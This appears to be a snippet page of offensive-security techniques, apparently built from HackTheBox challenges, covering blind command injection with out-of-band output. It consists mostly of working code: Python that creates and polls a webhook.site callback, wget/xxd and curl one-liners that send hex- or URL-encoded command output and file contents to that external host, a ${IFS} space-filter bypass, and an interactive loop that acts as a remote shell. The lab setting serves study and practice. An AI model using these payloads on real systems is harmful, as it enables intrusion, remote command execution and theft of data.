Skip to content
webhook.site

webhook.site

Create webhook.site URI

A webhook.site token provides both the UUID used for polling and the callback URL used in the payload.

import requests
import sys
from colorama import Fore, init

init(autoreset=True)

WEBHOOK_API = "https://webhook.site"

def create_webhook_uri(s):
    print(f"[+] {Fore.LIGHTGREEN_EX}Creating webhook.site URI...")
    try:
        r = s.post(url=f"{WEBHOOK_API}/token", timeout=10)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not generate webhook.site URI: {e}")
        sys.exit(1)
    # get only the json body from the response
    json_body = r.json()
    uuid = json_body.get("uuid")
    callback_url = f"{WEBHOOK_API}/{uuid}"
    print(f"[+] {Fore.LIGHTGREEN_EX}Got callback URL: {callback_url}")
    # return both to build the OOB URL and poll for its output later
    webhook_details = uuid, callback_url
    return webhook_details

Find by: webhook.site, create webhook, callback, uuid, token, oob, out of band · Source: HTB/VoidWhispers + HTB/Gunship

Poll and decode command output

Poll the newest request until webhook.site receives a data query parameter, then decode the hex command output and return it as a string.

import binascii
import time

def out_of_band_poll(s, uuid):
    print(f"[+] {Fore.LIGHTGREEN_EX}Waiting for OOB callback...")
    POLL_URL = f"{WEBHOOK_API}/token/{uuid}/requests?sorting=newest"
    while True:
        try:
            r = s.get(url=POLL_URL, timeout=10)
        except Exception as e:
            print(f"[-] {Fore.RED}Could not poll webhook: {e}")
            sys.exit(1)
        # convert the response to a dict and get the list of received requests
        json_body = r.json()
        webhook_request_list = json_body.get("data", [])
        if not webhook_request_list:
            # wait before checking again to avoid spamming the API
            time.sleep(2)
            continue
        webhook_received_query = webhook_request_list[0].get("query", "")
        if not webhook_received_query:
            time.sleep(2)
            continue
        # data is the query parameter extracted from the URI
        hex_command_output = webhook_received_query.get("data")
        if not hex_command_output:
            time.sleep(2)
            continue
        # decode output from hex to bytes, then to a string
        ascii_output = binascii.unhexlify(hex_command_output).decode()
        return ascii_output

Find by: webhook.site, poll webhook, oob callback, command output, hex decode, binascii, blind exfil · Source: HTB/VoidWhispers + HTB/Gunship

Send command output to webhook.site

wget -qO /dev/null discards the response body and sends the hex-encoded command output in the data query parameter. xxd -p -c 9999 keeps the hex output on one line.

oob_command = f"wget -qO /dev/null {callback_url}?data=$({command}|xxd -p -c 9999)"

If the injection point does not allow spaces, replace them with ${IFS} when building the payload.

ifs = "${IFS}"
oob_command = f"wget{ifs}-qO{ifs}/dev/null{ifs}{callback_url}?data=$({command}|xxd{ifs}-p{ifs}-c{ifs}9999)"

The oob_command can then be inserted into the target-specific command injection, SSTI, or prototype pollution payload.

Important

If wget or xxd is unavailable, curl can read command output from standard input and URL-encode it directly:

<COMMAND> | curl -G --data-urlencode data@- <CALLBACK_URL>

data@- reads the parameter value from standard input. -G places the parameter in the query string, and --data-urlencode URL-encodes the command output.

A file can be read directly without a shell:

curl -G --data-urlencode data@<FILE> <CALLBACK_URL>

The piped command-output form requires a shell only when the execution sink does not already run inside one. HTTPS callback URLs are preferred when validating outbound HTTP behavior.

Find by: webhook.site, wget, xxd, hex exfil, command output, blind rce, callback url, IFS, space bypass

Interactive OOB command loop

One callback URL is reused for every command, and webhook.site is polled for decoded output after each payload is sent. send_payload() is the only target-specific replacement.

if __name__ == "__main__":
    s = requests.Session()
    uuid, callback_url = create_webhook_uri(s)
    print(f"[+] {Fore.LIGHTGREEN_EX}Insert command to run below")
    try:
        while True:
            command = input("> ").strip()
            send_payload(s, callback_url, command)
            # sleep a little to give the callback time to arrive
            time.sleep(4)
            output = out_of_band_poll(s, uuid)
            print(output)
    except KeyboardInterrupt:
        print(f"[-] {Fore.RED}User interrupted.")

Find by: webhook.site, command loop, oob shell, blind rce loop, poll callback, interactive command · Source: HTB/VoidWhispers + HTB/Gunship